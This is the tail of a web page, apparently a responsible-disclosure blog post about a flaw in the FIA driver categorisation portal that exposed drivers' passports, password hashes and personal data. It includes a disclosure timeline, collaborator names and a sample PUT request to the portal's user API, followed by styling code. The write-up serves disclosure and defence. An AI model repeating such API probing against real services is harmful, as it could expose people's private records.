157communications related to driver categorisation including comments about their performance and committee related decisions.</p><div id="block-2843b9a56b2b806f85f4e5d36110d92c" class="notion-image page-width"><span data-full-size="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/public" data-lightbox-src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/public" style="display:contents"><img alt="Internal FIA comments about the categorisation of a professional F1 driver." loading="lazy" width="1000" height="1000" decoding="async" data-nimg="1" style="color:transparent;height:auto" srcSet="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/w=1920,quality=90,fit=scale-down 1x, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/w=1920,quality=90,fit=scale-down 2x" src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/w=1920,quality=90,fit=scale-down"/></span></div><p id="block-2843b9a56b2b80c6a2fcd96f2fe12615" class="notion-text notion-text__content notion-semantic-string">We stopped testing after seeing that it was possible to access Max Verstappen&#x27;s passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. <strong>We did not access any passports / sensitive information and all data has been deleted.</strong></p><div id="block-2933b9a56b2b8099a8fdfc81e630be86" class="notion-image page-width"><span data-full-size="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/public" data-lightbox-src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/public" style="display:contents"><img alt="image" loading="lazy" width="709.8828125" height="147.16537196754882" decoding="async" data-nimg="1" style="color:transparent;object-fit:contain;object-position:center;height:auto" sizes="(max-width: 546px) 100vw, 100vw" srcSet="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 640w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 750w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 828w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 1080w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 1200w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 1920w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 2048w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 3840w" src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down"/></span></div><span class="notion-heading__anchor" id="2843b9a56b2b800bafbfde7ba90e9f96"></span><h3 id="block-2843b9a56b2b800bafbfde7ba90e9f96" class="notion-heading notion-semantic-string">Disclosure timeline</h3><ul class="notion-bulleted-list"><li id="block-2843b9a56b2b80d0acdbc56f4201c6be" class="notion-list-item notion-semantic-string">06/03/2025: Initial disclosure to FIA via email and Linkedin</li><li id="block-2843b9a56b2b808099f5ca0414a077d7" class="notion-list-item notion-semantic-string">06/03/2025: Initial response from FIA, site taken offline</li><li id="block-2843b9a56b2b8079bafbf0c0ef6a69cf" class="notion-list-item notion-semantic-string">06/10/2025: Official response from FIA informing us of a comprehensive fix</li><li id="block-2843b9a56b2b80e197a6ecee1b918f07" class="notion-list-item notion-semantic-string">10/22/2025: Release of blog post, public disclosure</li></ul><span class="notion-heading__anchor" id="2933b9a56b2b807c80efe36700d9d249"></span><h2 id="block-2933b9a56b2b807c80efe36700d9d249" class="notion-heading notion-semantic-string">Collaborators</h2><ul class="notion-bulleted-list"><li id="block-2953b9a56b2b80858241cb0c13079977" class="notion-list-item notion-semantic-string">Ian Carroll (<a href="https://x.com/iangcarroll" class="notion-link link" target="_blank" rel="noopener noreferrer">https://x.com/iangcarroll</a>)</li><li id="block-2953b9a56b2b80479191c2f5e55585fd" class="notion-list-item notion-semantic-string">Sam Curry (<a href="https://x.com/samwcyo" class="notion-link link" target="_blank" rel="noopener noreferrer">https://x.com/samwcyo</a>) </li><li id="block-2953b9a56b2b80889324c0154dcb5ce7" class="notion-list-item notion-semantic-string">Gal Nagli (<a href="https://x.com/galnagli" class="notion-link link" target="_blank" rel="noopener noreferrer">https://x.com/galnagli</a>)</li></ul></article></main><style>
158    html {
159      font-size: 16px;
160    }
161
162    
163  </style><!--$--><!--/$--></div></div><style>
164  
165    :root {
166      --color-text-default: rgb(55, 53, 47);
167      --color-text-default-light: rgba(55, 53, 47, 0.6);
168      --color-text-gray: rgb(155, 154, 151);
169      --color-text-brown: rgb(100, 71, 58);
170      --color-text-orange: rgb(217, 115, 13);
171      --color-text-yellow: rgb(223, 171, 1);
172      --color-text-green: rgb(15, 123, 108);
173      --color-text-blue: rgb(11, 110, 153);
174      --color-text-purple: rgb(105, 64, 165);
175      --color-text-pink: rgb(173, 26, 114);
176      --color-text-red: rgb(224, 62, 62);
177
178      --color-bg-default: rgb(255, 255, 255);
179      --color-bg-gray: rgb(235, 236, 237);
180      --color-bg-brown: rgb(233, 229, 227);
181      --color-bg-orange: rgb(250, 235, 221);
182      --color-bg-yellow: rgb(251, 243, 219);
183      --color-bg-green: rgb(221, 237, 234);
184      --color-bg-blue: rgb(221, 235, 241);
185      --color-bg-purple: rgb(234, 228, 242);
186      --color-bg-pink: rgb(244, 223, 235);
187      --color-bg-red: rgb(251, 228, 228);
188
189      --color-bg-gray-light: rgba(235, 236, 237, 0.3);
190      --color-bg-brown-light: rgba(233, 229, 227, 0.3);
191      --color-bg-orange-light: rgba(250, 235, 221, 0.3);
192      --color-bg-yellow-light: rgba(251, 243, 219, 0.3);
193      --color-bg-green-light: rgba(221, 237, 234, 0.3);
194      --color-bg-blue-light: rgba(221, 235, 241, 0.3);
195      --color-bg-purple-light: rgba(234, 228, 242, 0.3);
196      --color-bg-pink-light: rgba(244, 223, 235, 0.3);
197      --color-bg-red-light: rgba(251, 228, 228, 0.3);
198
199      --color-pill-default: rgba(206, 205, 202, 0.5);
200      --color-pill-gray: rgba(155, 154, 151, 0.4);
201      --color-pill-brown: rgba(140, 46, 0, 0.2);
202      --color-pill-orange: rgba(245, 93, 0, 0.2);
203      --color-pill-yellow: rgba(233, 168, 0, 0.2);
204      --color-pill-green: rgba(0, 135, 107, 0.2);
205      --color-pill-blue: rgba(0, 120, 223, 0.2);
206      --color-pill-purple: rgba(103, 36, 222, 0.2);
207      --color-pill-pink: rgba(221, 0, 129, 0.2);
208      --color-pill-red: rgba(255, 0, 26, 0.2);
209
210      --color-ui-hover-bg: rgba(239, 239, 239);
211      --color-card-bg: rgb(255, 255, 255);
212      --color-checkbox-bg: rgb(46, 170, 220);;
213      --color-border-default: rgba(235, 236, 237, 0.8);
214      --color-border-dark: rgba(55, 53, 47, 0.16);
215      --color-code-bg: rgba(239, 239, 239);
216
217      /*Scrollbar*/
218      --scrollbar-background-color: #fafafa;
219      --scrollbar-thumb-color: #c1c1c1;
220      --scrollbar-border-color: #e8e8e8;
221
222      --navbar-text-color: var(--color-text-default);
223      --navbar-background-color: var(--color-bg-default);
224      --navbar-button-text-color: var(--color-text-default);
225      --navbar-button-background-color: var(--color-bg-default);
226      --navbar-menu-background-color: var(--navbar-background-color);
227
228      --footer-text-color: var(--color-text-default);
229      --footer-background-color: var(--color-bg-default);
230      --color-calendar-weekend-bg: #f7f6f3;
231    }
232
233    
234  /**
235   * One Light theme for prism.js
236   * Based on Atom's One Light theme: https://github.com/atom/atom/tree/master/packages/one-light-syntax
237   */
238  
239  /**
240   * One Light colours (accurate as of commit eb064bf on 19 Feb 2021)
241   * From colors.less
242   * --mono-1: hsl(230, 8%, 24%);
243   * --mono-2: hsl(230, 6%, 44%);
244   * --mono-3: hsl(230, 4%, 64%)
245   * --hue-1: hsl(198, 99%, 37%);
246   * --hue-2: hsl(221, 87%, 60%);
247   * --hue-3: hsl(301, 63%, 40%);
248   * --hue-4: hsl(119, 34%, 47%);
249   * --hue-5: hsl(5, 74%, 59%);
250   * --hue-5-2: hsl(344, 84%, 43%);
251   * --hue-6: hsl(35, 99%, 36%);
252   * --hue-6-2: hsl(35, 99%, 40%);
253   * --syntax-fg: hsl(230, 8%, 24%);
254   * --syntax-bg: hsl(230, 1%, 98%);
255   * --syntax-gutter: hsl(230, 1%, 62%);
256   * --syntax-guide: hsla(230, 8%, 24%, 0.2);
257   * --syntax-accent: hsl(230, 100%, 66%);
258   * From syntax-variables.less
259   * --syntax-selection-color: hsl(230, 1%, 90%);
260   * --syntax-gutter-background-color-selected: hsl(230, 1%, 90%);
261   * --syntax-cursor-line: hsla(230, 8%, 24%, 0.05);
262   */
263  
264  html.theme-light code[class*="language-"],
265  html.theme-light pre[class*="language-"] {
266    color: hsl(230, 8%, 24%);
267    font-family: "Fira Code", "Fira Mono", Menlo, Consolas, "DejaVu Sans Mono", monospace;
268    direction: ltr;
269    text-align: left;
270    white-space: pre;
271    word-spacing: normal;
272    word-break: normal;
273    line-height: 1.5;
274    -moz-tab-size: 2;
275    -o-tab-size: 2;
276    tab-size: 2;
277    -webkit-hyphens: none;
278    -moz-hyphens: none;
279    -ms-hyphens: none;
280    hyphens: none;
281  }
282  
283  /* Selection */
284  html.theme-light code[class*="language-"]::-moz-selection,
285  html.theme-light code[class*="language-"] *::-moz-selection,
286  html.theme-light pre[class*="language-"] *::-moz-selection {
287    background: hsl(230, 1%, 90%);
288    color: inherit;
289  }
290  
291  html.theme-light code[class*="language-"]::selection,
292  html.theme-light code[class*="language-"] *::selection,
293  html.theme-light pre[class*="language-"] *::selection {
294    background: hsl(230, 1%, 90%);
295    color: inherit;
296  }
297  
298  /* Code blocks */
299  html.theme-light pre[class*="language-"] {
300    padding: 1em;
301    margin: 0.5em 0;
302    overflow: auto;
303    border-radius: 0.3em;
304  }
305  
306  /* Inline code */
307  html.theme-light :not(pre) > code[class*="language-"] {
308    padding: 0.2em 0.3em;
309    border-radius: 0.3em;
310    white-space: normal;
311  }
312  
313  html.theme-light .token.comment,
314  html.theme-light .token.prolog,
315  html.theme-light .token.cdata {
316    color: hsl(230, 4%, 64%);
317  }
318  
319  html.theme-light .token.doctype,
320  html.theme-light .token.punctuation,
321  html.theme-light .token.entity {
322    color: hsl(230, 8%, 24%);
323  }
324  
325  html.theme-light .token.attr-name,
326  html.theme-light .token.class-name,
327  html.theme-light .token.boolean,
328  html.theme-light .token.constant,
329  html.theme-light .token.number,
330  html.theme-light .token.atrule {
331    color: hsl(35, 99%, 36%);
332  }
333  
334  html.theme-light .token.keyword {
335    color: hsl(301, 63%, 40%);
336  }
337  
338  html.theme-light .token.property,
339  html.theme-light .token.tag,
340  html.theme-light .token.symbol,
341  html.theme-light .token.deleted,
342  html.theme-light .token.important {
343    color: hsl(5, 74%, 59%);
344  }
345  
346  html.theme-light .token.selector,
347  html.theme-light .token.string,
348  html.theme-light .token.char,
349  html.theme-light .token.builtin,
350  html.theme-light .token.inserted,
351  html.theme-light .token.regex,
352  html.theme-light .token.attr-value,
353  html.theme-light .token.attr-value > .token.punctuation {
354    color: hsl(119, 34%, 47%);
355  }
356  
357  html.theme-light .token.variable,
358  html.theme-light .token.operator,
359  html.theme-light .token.function {
360    color: hsl(221, 87%, 60%);
361  }
362  
363  html.theme-light .token.url {
364    color: hsl(198, 99%, 37%);
365  }
366  
367  /* HTML overrides */
368  html.theme-light .token.attr-value > .token.punctuation.attr-equals,
369  html.theme-light .token.special-attr > .token.attr-value > .token.value.css {
370    color: hsl(230, 8%, 24%);
371  }
372  
373  /* CSS overrides */
374  html.theme-light .language-css .token.selector {
375    color: hsl(5, 74%, 59%);
376  }
377  
378  html.theme-light .language-css .token.property {
379    color: hsl(230, 8%, 24%);
380  }
381  
382  html.theme-light .language-css .token.function,
383  html.theme-light .language-css .token.url > .token.function {
384    color: hsl(198, 99%, 37%);
385  }
386  
387  html.theme-light .language-css .token.url > .token.string.url {
388    color: hsl(119, 34%, 47%);
389  }
390  
391  html.theme-light .language-css .token.important,
392  html.theme-light .language-css .token.atrule .token.rule {
393    color: hsl(301, 63%, 40%);
394  }
395  
396  /* JS overrides */
397  html.theme-light .language-javascript .token.operator {
398    color: hsl(301, 63%, 40%);
399  }
400  
401  html.theme-light .language-javascript .token.template-string > .token.interpolation > .token.interpolation-punctuation.punctuation {
402    color: hsl(344, 84%, 43%);
403  }
404  
405  /* JSON overrides */
406  html.theme-light .language-json .token.operator {
407    color: hsl(230, 8%, 24%);
408  }
409  
410  html.theme-light .language-json .token.null.keyword {
411    color: hsl(35, 99%, 36%);
412  }
413  
414  /* MD overrides */
415  html.theme-light .language-markdown .token.url,
416  html.theme-light .language-markdown .token.url > .token.operator,
417  html.theme-light .language-markdown .token.url-reference.url > .token.string {
418    color: hsl(230, 8%, 24%);
419  }
420  
421  html.theme-light .language-markdown .token.url > .token.content {
422    color: hsl(221, 87%, 60%);
423  }
424  
425  html.theme-light .language-markdown .token.url > .token.url,
426  html.theme-light .language-markdown .token.url-reference.url {
427    color: hsl(198, 99%, 37%);
428  }
429  
430  html.theme-light .language-markdown .token.blockquote.punctuation,
431  html.theme-light .language-markdown .token.hr.punctuation {
432    color: hsl(230, 4%, 64%);
433    font-style: italic;
434  }
435  
436  html.theme-light .language-markdown .token.code-snippet {
437    color: hsl(119, 34%, 47%);
438  }
439  
440  html.theme-light .language-markdown .token.bold .token.content {
441    color: hsl(35, 99%, 36%);
442  }
443  
444  html.theme-light .language-markdown .token.italic .token.content {
445    color: hsl(301, 63%, 40%);
446  }
447  
448  html.theme-light .language-markdown .token.strike .token.content,
449  html.theme-light .language-markdown .token.strike .token.punctuation,
450  html.theme-light .language-markdown .token.list.punctuation,
451  html.theme-light .language-markdown .token.title.important > .token.punctuation {
452    color: hsl(5, 74%, 59%);
453  }
454  
455  /* General */
456  html.theme-light .token.bold {
457    font-weight: bold;
458  }
459  
460  html.theme-light .token.comment,
461  html.theme-light .token.italic {
462    font-style: italic;
463  }
464  
465  html.theme-light .token.entity {
466    cursor: help;
467  }
468  
469  html.theme-light .token.namespace {
470    opacity: 0.8;
471  }
472  
473  /* Plugin overrides */
474  /* Selectors should have higher specificity than those in the plugins' default stylesheets */
475  
476  /* Show Invisibles plugin overrides */
477  html.theme-light .token.token.tab:not(:empty):before,
478  html.theme-light .token.token.cr:before,
479  html.theme-light .token.token.lf:before,
480  html.theme-light .token.token.space:before {
481    color: hsla(230, 8%, 24%, 0.2);
482  }
483  
484  /* Toolbar plugin overrides */
485  /* Space out all buttons and move them away from the right edge of the code block */
486  html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item {
487    margin-right: 0.4em;
488  }
489  
490  /* Styling the buttons */
491  html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > button,
492  html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > a,
493  html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > span {
494    background: hsl(230, 1%, 90%);
495    color: hsl(230, 6%, 44%);
496    padding: 0.1em 0.4em;
497    border-radius: 0.3em;
498  }
499  
500  html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > button:hover,
501  html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > button:focus,
502  html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > a:hover,
503  html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > a:focus,
504  html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > span:hover,
505  html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > span:focus {
506    background: hsl(230, 1%, 78%); /* custom: darken(--syntax-bg, 20%) */
507    color: hsl(230, 8%, 24%);
508  }
509  
510  /* Line Highlight plugin overrides */
511  /* The highlighted line itself */
512  html.theme-light .line-highlight.line-highlight {
513    background: hsla(230, 8%, 24%, 0.05);
514  }
515  
516  /* Default line numbers in Line Highlight plugin */
517  html.theme-light .line-highlight.line-highlight:before,
518  html.theme-light .line-highlight.line-highlight[data-end]:after {
519    background: hsl(230, 1%, 90%);
520    color: hsl(230, 8%, 24%);
521    padding: 0.1em 0.6em;
522    border-radius: 0.3em;
523    box-shadow: 0 2px 0 0 rgba(0, 0, 0, 0.2); /* same as Toolbar plugin default */
524  }
525  
526  /* Hovering over a linkable line number (in the gutter area) */
527  /* Requires Line Numbers plugin as well */
528  html.theme-light pre[id].linkable-line-numbers.linkable-line-numbers span.line-numbers-rows > span:hover:before {
529    background-color: hsla(230, 8%, 24%, 0.05);
530  }
531  
532  /* Line Numbers and Command Line plugins overrides */
533  /* Line separating gutter from coding area */
534  html.theme-light .line-numbers.line-numbers .line-numbers-rows,
535  html.theme-light .command-line .command-line-prompt {
536    border-right-color: hsla(230, 8%, 24%, 0.2);
537  }
538  
539  /* Stuff in the gutter */
540  html.theme-light .line-numbers .line-numbers-rows > span:before,
541  html.theme-light .command-line .command-line-prompt > span:before {
542    color: hsl(230, 1%, 62%);
543  }
544  
545  /* Match Braces plugin overrides */
546  /* Note: Outline colour is inherited from the braces */
547  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-1,
548  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-5,
549  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-9 {
550    color: hsl(5, 74%, 59%);
551  }
552  
553  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-2,
554  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-6,
555  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-10 {
556    color: hsl(119, 34%, 47%);
557  }
558  
559  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-3,
560  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-7,
561  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-11 {
562    color: hsl(221, 87%, 60%);
563  }
564  
565  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-4,
566  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-8,
567  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-12 {
568    color: hsl(301, 63%, 40%);
569  }
570  
571  /* Diff Highlight plugin overrides */
572  /* Taken from https://github.com/atom/github/blob/master/styles/variables.less */
573  html.theme-light pre.diff-highlight > code .token.token.deleted:not(.prefix),
574  html.theme-light pre > code.diff-highlight .token.token.deleted:not(.prefix) {
575    background-color: hsla(353, 100%, 66%, 0.15);
576  }
577  
578  html.theme-light pre.diff-highlight > code .token.token.deleted:not(.prefix)::-moz-selection,
579  html.theme-light pre.diff-highlight > code .token.token.deleted:not(.prefix) *::-moz-selection,
580  html.theme-light pre > code.diff-highlight .token.token.deleted:not(.prefix)::-moz-selection,
581  html.theme-light pre > code.diff-highlight .token.token.deleted:not(.prefix) *::-moz-selection {
582    background-color: hsla(353, 95%, 66%, 0.25);
583  }
584  
585  html.theme-light pre.diff-highlight > code .token.token.deleted:not(.prefix)::selection,
586  html.theme-light pre.diff-highlight > code .token.token.deleted:not(.prefix) *::selection,
587  html.theme-light pre > code.diff-highlight .token.token.deleted:not(.prefix)::selection,
588  html.theme-light pre > code.diff-highlight .token.token.deleted:not(.prefix) *::selection {
589    background-color: hsla(353, 95%, 66%, 0.25);
590  }
591  
592  html.theme-light pre.diff-highlight > code .token.token.inserted:not(.prefix),
593  html.theme-light pre > code.diff-highlight .token.token.inserted:not(.prefix) {
594    background-color: hsla(137, 100%, 55%, 0.15);
595  }
596  
597  html.theme-light pre.diff-highlight > code .token.token.inserted:not(.prefix)::-moz-selection,
598  html.theme-light pre.diff-highlight > code .token.token.inserted:not(.prefix) *::-moz-selection,
599  html.theme-light pre > code.diff-highlight .token.token.inserted:not(.prefix)::-moz-selection,
600  html.theme-light pre > code.diff-highlight .token.token.inserted:not(.prefix) *::-moz-selection {
601    background-color: hsla(135, 73%, 55%, 0.25);
602  }
603  
604  html.theme-light pre.diff-highlight > code .token.token.inserted:not(.prefix)::selection,
605  html.theme-light pre.diff-highlight > code .token.token.inserted:not(.prefix) *::selection,
606  html.theme-light pre > code.diff-highlight .token.token.inserted:not(.prefix)::selection,
607  html.theme-light pre > code.diff-highlight .token.token.inserted:not(.prefix) *::selection {
608    background-color: hsla(135, 73%, 55%, 0.25);
609  }
610  
611  /* Previewers plugin overrides */
612  /* Based on https://github.com/atom-community/atom-ide-datatip/blob/master/styles/atom-ide-datatips.less and https://github.com/atom/atom/blob/master/packages/one-light-ui */
613  /* Border around popup */
614  html.theme-light .prism-previewer.prism-previewer:before,
615  html.theme-light .prism-previewer-gradient.prism-previewer-gradient div {
616    border-color: hsl(0, 0, 95%);
617  }
618  
619  /* Angle and time should remain as circles and are hence not included */
620  html.theme-light .prism-previewer-color.prism-previewer-color:before,
621  html.theme-light .prism-previewer-gradient.prism-previewer-gradient div,
622  html.theme-light .prism-previewer-easing.prism-previewer-easing:before {
623    border-radius: 0.3em;
624  }
625  
626  /* Triangles pointing to the code */
627  html.theme-light .prism-previewer.prism-previewer:after {
628    border-top-color: hsl(0, 0, 95%);
629  }
630  
631  html.theme-light .prism-previewer-flipped.prism-previewer-flipped.after {
632    border-bottom-color: hsl(0, 0, 95%);
633  }
634  
635  /* Background colour within the popup */
636  html.theme-light .prism-previewer-angle.prism-previewer-angle:before,
637  html.theme-light .prism-previewer-time.prism-previewer-time:before,
638  html.theme-light .prism-previewer-easing.prism-previewer-easing {
639    background: hsl(0, 0%, 100%);
640  }
641  
642  /* For angle, this is the positive area (eg. 90deg will display one quadrant in this colour) */
643  /* For time, this is the alternate colour */
644  html.theme-light .prism-previewer-angle.prism-previewer-angle circle,
645  html.theme-light .prism-previewer-time.prism-previewer-time circle {
646    stroke: hsl(230, 8%, 24%);
647    stroke-opacity: 1;
648  }
649  
650  /* Stroke colours of the handle, direction point, and vector itself */
651  html.theme-light .prism-previewer-easing.prism-previewer-easing circle,
652  html.theme-light .prism-previewer-easing.prism-previewer-easing path,
653  html.theme-light .prism-previewer-easing.prism-previewer-easing line {
654    stroke: hsl(230, 8%, 24%);
655  }
656  
657  /* Fill colour of the handle */
658  html.theme-light .prism-previewer-easing.prism-previewer-easing circle {
659    fill: transparent;
660  }
661  
662  
663  
664    :root {
665      /* Layout */
666      --padding-layout: 0.6rem;
667      --border-radii-layout: 5px;
668      --border-thickness-layout: 1px;
669      --border-type-layout: solid;
670      --border-layout: var(--border-thickness-layout)
671        var(--border-type-layout) var(--color-border-default);
672      --layout-max-width: 900px;
673      --column-spacing: 46px;
674      --page-display: flex;
675      --padding-right: calc(env(safe-area-inset-right) + 96px);
676      --padding-left: calc(env(safe-area-inset-left) + 96px);
677      --padding-right-mobile: calc(env(safe-area-inset-right) + 24px);
678      --padding-left-mobile: calc(env(safe-area-inset-left) + 24px);
679      /* Header */
680      --header-cover-height: 30vh;
681      --header-title-align: start;
682      --header-icon-align: -112px auto auto auto;
683      --header-display: block;
684      /* Collection header */
685      --collection-header-border: var(--border-layout);
686      /* Collection table */
687      --collection-table-cell-padding: calc(var(--padding-layout) - 0.3rem)
688        calc(var(--padding-layout) - 0.1rem);
689      /* Collection list */
690      --collection-list-item-padding: calc(var(--padding-layout) - 0.5rem);
691      --collection-list-item-border-radii: calc(
692        var(--border-radii-layout) - 1px
693      );
694      /* Collection card */
695      --collection-card-padding: 0px;
696      --collection-card-title-padding: 0px;
697      --collection-card-content-padding: var(--padding-layout);
698      --collection-card-border-radii: var(--border-radii-layout);
699      --collection-card-gap: 10px;
700      --collection-card-shadow: rgba(15, 15, 15, 0.1) 0px 0px 0px 1px, rgba(15, 15, 15, 0.1) 0px 2px 4px;
701      --collection-card-title-size: 0.875rem;
702      --collection-card-cover-height-small: 128px;
703      --collection-card-cover-size-small: 172px;
704      --collection-card-cover-height-medium: 200px;
705      --collection-card-cover-size-medium: 260px;
706      --collection-card-cover-height-large: 200px;
707      --collection-card-cover-size-large: 320px;
708      --collection-card-icon-display: inline-flex;
709      /* Callout */
710      --callout-padding: calc(var(--padding-layout) + 0.4rem)
711        calc(var(--padding-layout) + 0.4rem)
712        calc(var(--padding-layout) + 0.4rem)
713        calc(var(--padding-layout) + 0.1em);
714      --callout-border-radii: calc(var(--border-radii-layout) - 2px);
715      --callout-border: var(--border-layout);
716      --callout-icon-display: block;
717      --callout-shadow: none;
718      /* File */
719      --file-border-radii: calc(var(--border-radii-layout) - 2px);
720      /* Equation */
721      --equation-border-radii: calc(var(--border-radii-layout) - 2px);
722      /* Divider */
723      --divider-border: var(--border-layout);
724      /* Quote */
725      --quote-border: calc(var(--border-thickness-layout) + 2px) solid
726        currentcolor;
727      /* Code */
728      --code-padding: calc(var(--padding-layout) + 1.4rem);
729      --code-border-radii: var(--border-radii-layout);
730      /* Tweet */
731      --tweet-padding: calc(var(--padding-layout) + 0.65rem)
732        calc(var(--padding-layout) + 0.65rem)
733        calc(var(--padding-layout) + 0.05rem)
734        calc(var(--padding-layout) + 0.65rem);
735      --tweet-border-radii: var(--border-radii-layout);
736      --tweet-border: var(--border-layout);
737      /* Bookmark */
738      --bookmark-padding: calc(var(--padding-layout) + 0.15rem) 0p
738x
739        calc(var(--padding-layout) + 0.025rem)
740        calc(var(--padding-layout) + 0.275rem);
741      --bookmark-border-radii: var(--border-radii-layout);
742      --bookmark-border: var(--border-layout);
743      --bookmark-image-border-radii: 0px
744        calc(var(--border-radii-layout) - 1px)
745        calc(var(--border-radii-layout) - 1px) 0px;
746      /* Embed */
747      --embed-border-radii: calc(var(--border-radii-layout) - 5px);
748      /* Image */
749      --image-border-radii: calc(var(--border-radii-layout) - 5px);
750      /* Typography */
751      --title-size: 2.5rem;
752      --quote-size: 1.2rem;
753      --quote-size-large: 1.4rem;
754      --heading-size: 1rem;
755      --primary-font: Inter, Inter-fallback, Helvetica, Apple Color Emoji,
756        Segoe UI Emoji, NotoColorEmoji, Noto Color Emoji,
757        Segoe UI Symbol, Android Emoji, EmojiSymbols, -apple-system,
758        BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Noto Sans,
759        sans-serif;
760        --secondary-font: Inter, Inter-fallback, Helvetica, Apple Color Emoji,
761        Segoe UI Emoji, NotoColorEmoji, Noto Color Emoji,
762        Segoe UI Symbol, Android Emoji, EmojiSymbols, -apple-system,
763        BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Noto Sans,
764        sans-serif;
765      --text-weight: normal;
766      --heading-weight: 600;
767      --heading1-size: calc(var(--heading-size) * 1.875);
768      --heading2-size: calc(var(--heading-size) * 1.5);
769      --heading3-size: calc(var(--heading-size) * 1.25);
770      --heading4-size: calc(var(--heading-size) * 1);
771      --heading5-size: calc(var(--heading-size) * 0.8125);
772      /* Scrollbars */
773      --scrollbar-width: 15px;
774      /* Navbar */
775      --navbar-height: 56px;
776      --navbar-shadow: ;
777      --navbar-button-border-radii: 50px;
778      --navbar-list-width-single-column: 320px;
779      --navbar-list-width: 620px;
780      /*Sidebar*/
781      --sidebar-width: 280px;
782      --sidebar-shadow: ;
783    }
784    html {
785      scroll-padding-top: 62px;
786    }
787    body {
788      font-family: var(--secondary-font);
789    }
790
791    
792  
793</style>
793<script>requestAnimationFrame(function(){$RT=performance.now()});</script>
793<script src="/_next/static/chunks/2l8zr1i2h4s0n.js" id="_R_" async=""></script>
793<div hidden id="S:0"><pre class="language-json"><code class="language-json">PUT /api/users/12934 HTTP/1.1
794Host: driverscategorisation.fia.com
795User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
796Content-Length: 246
797Content-Type: application/json
798
799{
800  &quot;id&quot;: 12934,
801  &quot;email&quot;: &quot;[email protected]&quot;,
802  &quot;firstName&quot;: &quot;Sam&quot;,
803  &quot;lastName&quot;: &quot;Curry&quot;,
804  &quot;nickName&quot;: null
805}</code></pre></div>
